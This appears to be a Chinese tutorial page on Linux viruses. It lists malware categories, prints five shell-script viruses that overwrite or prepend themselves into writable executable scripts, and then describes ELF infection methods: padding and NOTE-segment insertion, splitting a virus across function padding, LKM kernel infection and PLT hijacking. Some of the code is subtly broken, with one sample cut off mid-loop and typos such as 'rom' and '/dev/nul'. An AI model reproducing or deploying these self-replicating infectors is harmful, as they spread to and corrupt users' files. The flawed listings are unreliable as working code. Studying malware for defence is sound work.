帮助中心FAQ


- Linux恶意代码分类:

1. Shell病毒

2. 可执行文件病毒

 

- Linux病毒列表分类:

1. Bliss病毒

2. Typot木马

 

- Linux病毒分类:

1. Shell脚本病毒

2. 蠕虫病毒

3. 欺骗库函数

4. 内核级的传播

5. 与平台兼容的病毒

 

# Shell简单恶意代码实例

 

Shell在不同的Linux系统上差别不大

 

```

# 原始shell病毒

#shellvirus I#

for file in ./infect/*

do

cp $0 $file

done

```

 

```

# 简单的shell病毒

#shellvirus II#

for file in ./infect/*

do

if test -f $file    #判断是否为文件

then

if test -x $file    #判断是否可执行

then

if test -w $file    #判断是否有写权限

then

if grep -s sh $file >.mmm    #判断是否为脚本文件

then

cp $0 $file    #覆盖当前文件

```

 

```

# 原始shell病毒

#shellvirus III#

#infection

head -n 35 $0 >.test1    #取病毒自身代码并保存到.test

for file in ./*    #遍历当前目录中的文件

do

echo $file

head -n 2 $file >.mm    #提取感染脚本文件第一行

if grep infection .mm > .mmm    #判断是否有感染标记

then    #已经被感染标记

echo "infected file and rm .mm"

rm -f .mm

else    #尚未感染,继续执行

if test -f $file

then

echo "test -f"

if test -x $file

then

echo "test -x"

if test -w $file

then

echo "test -w"

if grep -s sh $file >.mmm

then

echo "test -s and cat..."

cat $file >.SAVEE    #把病毒代码放在脚本文件的开始部分

cat .test1 >$file    #原有的代码追加在末尾

cat .SAVEE >>$file    #形成含有病毒代码的脚本工作

fi

fi

fi

fi

fi

done

rom .test1 .SAVEE .mmm .mm -f    #清理工作

```

 

```

# 复杂代码病毒

#shellvirus IV#

#infection

for file in ./* ;do

if test -f $file && test -x $file && test -w $file;

then

if grep -s sh $file > /dev/nul ;then

head -n 2 $file > .mm

if grep -s infection .mm > /dev/nul ;then

rm -f .mm ;else

head -n 14 $0 >.SAVEE

cat $file >> .SAVEE

cat .SAVEE >$file

fi fi fi

done

rm -f .SAVEE .mm

```

 

```

# 感染特定目录的shell病毒

#ShellVirus V#

#infection

xtemp =$pwd    #保存当前路径

head -n 22 $0 > /.test1

for dir in ./* ; do    #遍历当前目录

if test -d $dir ; then    #如果有子目录则进入

cd $dir

for file in ./* ; do    #遍历该目录文件

if test -f $file && test -x $file && test -w $file;

then

if grep -s sh $file > /dev/nul ; then

head -n 2 $file >.mm

if grep -s infection .mm > /devnul ;then

rm -f .mm > /.SAVEE    #完成感染

cat /.test1 > $file

cat /.SAVEE >> $file

fi fi fi

done

cd ..

fi

done

cd $xtemp

rm -f /.test1 /.SAVEE .mm    #清理工作

```

 

# ELF技术

 

Executable and Linking Format,如同Windows下PE文件,ELF和PE起源于Linux

 

- 无关ELF格式的感染方法:

1. 覆盖式感染

2. 追加式感染

 

- 利用ELF格式的感染方法:

把病毒本身作为一部分插入到ELF格式里边。然后与原来的ELF文件进行有机的融合。

1. 文本段数据段之间填充区植入病毒

执行过程:

在文本段末尾插入代码。了解ELF header中的p_shoff以包含新代码,通过他们来定位文本段的位置。增加文件的大小,调整p_offset大小。再文本段末尾写入代码,调整各个偏移量。

2. 在文本段之前插入感染代码

3. 利用函数对齐填充区感染

从当前进程中取出病毒代码,查找合适的未被感染的ELF可执行文件作为宿主文件,并修改病毒体,使其执行完后能够跳转至宿主文件代码入口点。查找宿主文件函数填充区,找到足够大的函数填充区并记录。

将病毒体分割:

将分割后的病毒放入宿主文件多个函数填充区内,并在每一块后设置跳转指令,使其各部分相连接。修订入口点,使其指向病毒体入口点。

4. 利用NOTE段/扩展.note节

查找文件中的PT_NOTE类型的段,然后修改里面相应的字段,同时还要修改他们可执行的属性,把恶意代码插入进去。

5. 高级感染技术

上升到内核层次的病毒感染就是高级感染,这就需要感染内核的模块。对Linux最致命的病毒攻击方式就是感染Linux内核,也就是使用Linux的LKM。

动态加载,无须重新实现整个内核。基于此特性,LKM常被用作特殊设备的驱动程序(或文件系统),如声卡的驱动程序等等。

6. LKM感染技术

LKM在Linux操作系统中被广泛使用,主要的原因就是LKM具有相对灵活的使用方式和强大的功能,可以被动态地加载,而不需要重新编译内核。

对于病毒而言,也有很多好处,比如隐藏文件和进程等,但是使用LKM是比较麻烦的,需要较高的技术要求。

7. PLT实现重定向的算法

1将文本段修改为可执行权限。2保存PLT入口点。3使用新的库调用地址替代原入口。4对新库调用中代码的修改。实现新的库调用的功能,保存原来的PLT入口,调用原来库调用。